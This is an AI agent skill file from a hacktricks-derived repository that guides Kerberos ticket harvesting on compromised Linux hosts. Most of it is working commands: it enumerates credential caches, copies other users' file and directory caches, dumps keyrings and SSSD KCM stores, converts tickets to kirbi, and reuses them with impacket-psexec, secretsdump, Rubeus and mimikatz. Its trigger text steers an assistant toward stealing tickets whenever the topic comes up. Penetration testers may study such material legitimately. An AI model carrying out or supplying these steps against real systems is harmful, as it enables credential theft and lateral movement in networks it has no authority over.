Hacktricks-skills linux-kerberos-ticket-harvesting

Harvest Kerberos tickets from Linux systems during post-exploitation. Use this skill whenever you have shell access to a Linux machine and need to extract Kerberos credentials (TGTs, TGS tickets) from file caches, kernel keyrings, KCM, or process memory. Trigger this when the user mentions Kerberos ticket extraction, credential harvesting on Linux, klist, keyctl, ccache extraction, or any scenario where you need to steal or copy Kerberos tickets from a compromised Linux host.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux/SKILL.MD
source content

Linux Kerberos Ticket Harvesting

This skill guides you through extracting Kerberos tickets from Linux systems during post-exploitation. Linux stores credentials in three main locations: Files, Kernel Keyrings, and Process Memory.

Quick Start

When you pop a shell on a Linux machine and need Kerberos tickets:

  1. Enumerate what cache types exist
  2. Extract using the appropriate method
  3. Convert to a portable format if needed
  4. Use the tickets for lateral movement

Step 1: Enumerate Active Caches

Before extraction, identify where credentials are stored. Run these commands to find all cache types:

# Check current user's cache
klist -l 2>/dev/null || echo "No klist or no cache"

# Check all TGTs in current cache
klist -A 2>/dev/null

# Check kernel keyrings (requires sudo)
sudo keyctl get_persistent @u 2>/dev/null
sudo keyctl show $(keyctl get_persistent @u 2>/dev/null) 2>/dev/null

# Check file-based caches
sudo ls -al /tmp/krb5cc_* /run/user/*/krb5cc* 2>/dev/null

# Check process environments for KRB5CCNAME
sudo find /proc -maxdepth 2 -name environ -exec sh -c 'tr "\0" "\n" < {} | grep -H KRB5' \; 2>/dev/null

# Check krb5.conf for default cache type
grep -i default_ccache_name /etc/krb5.conf 2>/dev/null

What to look for:

  • FILE:/tmp/krb5cc_%{uid}
    - File-based cache (easiest to steal)
  • DIR:/run/user/%{uid}/krb5cc
    - Directory-backed cache (systemd-logind default)
  • KEYRING:persistent:%{uid}
    or
    KEYRING:session
    - Kernel keyring storage
  • KCM:%{uid}
    - SSSD Kerberos Cache Manager
  • MEMORY:unique_id
    - Process-local cache

Step 2: Extract Based on Cache Type

File/DIR Cache Extraction (Easiest)

When

default_ccache_name
shows
FILE:
or
DIR:
:

# Single file cache
sudo cp /tmp/krb5cc_$(id -u) /tmp/stolen.ccache

# Directory cache (one file per ticket)
sudo cp -r /run/user/$(id -u)/krb5cc /tmp/user_dircc

# Set proper permissions
chmod 600 /tmp/*.ccache
chown $(whoami) /tmp/*.ccache 2>/dev/null || true

# Validate the stolen cache
KRB5CCNAME=/tmp/stolen.ccache klist

Keyring Extraction

When

default_ccache_name
shows
KEYRING:
:

# Get the persistent keyring
KRING=$(keyctl get_persistent @u 2>/dev/null)

# List all ccache blobs in the keyring
keyctl show $KRING

# Extract each ccache blob (note the serial numbers from above)
keyctl pipe <serial_number> > /tmp/ccache_dump

# Validate
KRB5CCNAME=/tmp/ccache_dump klist

Important: Check multiple keyring types:

  • KEYRING:persistent:%{uid}
    - Persists across logins
  • KEYRING:session
    - Cleared on logout
  • KEY_SPEC_THREAD_KEYRING
    - For services with helper threads

KCM (SSSD) Cache Extraction

When

default_ccache_name
shows
KCM:
:

# List all caches managed by KCM
sudo kcm_ctl list

# Extract a specific user's cache (UID 1000, cache ID 0)
sudo kcm_ctl get 1000 0 > /tmp/1000.kcm.ccache

# Validate
KRB5CCNAME=/tmp/1000.kcm.ccache klist

Offline KCM extraction (when socket access is blocked):

  1. Copy
    /var/lib/sss/secrets/secrets.ldb
  2. Copy
    /var/lib/sss/secrets/.secrets.mkey
  3. Use
    SSSDKCMExtractor
    or similar tools to decrypt

Note: KCM extraction typically requires root or membership in the

kcm
SELinux domain.

Step 3: Convert to Portable Format

For cross-platform use (especially Windows tooling), convert MIT ccache to

.kirbi
format:

# Using kerbtool (recommended)
./kerbtool --convert --in /tmp/stolen.ccache --out stolen.kirbi

# Alternative: ticketConverter.py
python3 ticketConverter.py /tmp/stolen.ccache stolen.kirbi

Step 4: Use the Tickets

From Linux

# Use with Impacket tools
KRB5CCNAME=/tmp/stolen.ccache impacket-psexec user@domain.local
KRB5CCNAME=/tmp/stolen.ccache impacket-secretsdump domain/user@domain.local

# Request additional TGS tickets
KRB5CCNAME=/tmp/stolen.ccache kerbtool --ask --spn cifs/fileserver.domain.local

From Windows

# Using Rubeus
Rubeus.exe ptt /ticket:stolen.kirbi

# Using Mimikatz
mimikatz # kerberos::ptt stolen.kirbi

Helper Scripts

Use the bundled scripts for automated extraction:

# Enumerate all cache locations
./scripts/enumerate_caches.sh

# Extract from keyrings (requires sudo)
sudo ./scripts/extract_keyring.sh

# Convert ccache to kirbi format
./scripts/convert_ticket.sh <input.ccache> <output.kirbi>

Common Scenarios

Scenario 1: Web Server with Kerberos Auth

# Check Apache/httpd process for KRB5CCNAME
tr "\0" "\n" < /proc/$(pgrep apache2)/environ | grep KRB5

# Extract the cache it's using
cp $(grep KRB5 /proc/$(pgrep apache2)/environ | cut -d= -f2) /tmp/web.ccache

Scenario 2: Multiple Users Logged In

# Find all user caches
for uid in $(ls /run/user/ 2>/dev/null); do
    echo "=== UID $uid ==="
    ls -la /run/user/$uid/krb5cc* 2>/dev/null
    sudo cp -r /run/user/$uid/krb5cc /tmp/uid${uid}_ccache 2>/dev/null
done

Scenario 3: Service Accounts

# Check common service accounts
for svc in sssd_kcm gssproxy sshd; do
    pid=$(pgrep -x $svc)
    if [ -n "$pid" ]; then
        echo "=== $svc (PID $pid) ==="
        tr "\0" "\n" < /proc/$pid/environ | grep -i krb5
    fi
done

Troubleshooting

IssueSolution
klist: No credentials cache found
Check
KRB5CCNAME
env var or use
klist -l
to list available caches
keyctl: Operation not permitted
Need root or CAP_SYS_ADMIN capability
kcm_ctl: Connection refused
KCM socket may be at
/run/.heim_org.h5l.kcm-socket
instead
Permission denied
on cache files
Use
sudo
or change ownership with
chown
Empty keyringCheck
KEYRING:session
or
KEY_SPEC_THREAD_KEYRING
instead of persistent

Security Notes

  • Keyring extraction requires understanding of kernel keyring internals
  • KCM extraction typically requires privilege escalation to root
  • File caches are world-readable on some misconfigured systems
  • Always validate extracted tickets with
    klist
    before attempting to use them
  • Ticket expiration matters - check
    klist
    output for validity times

References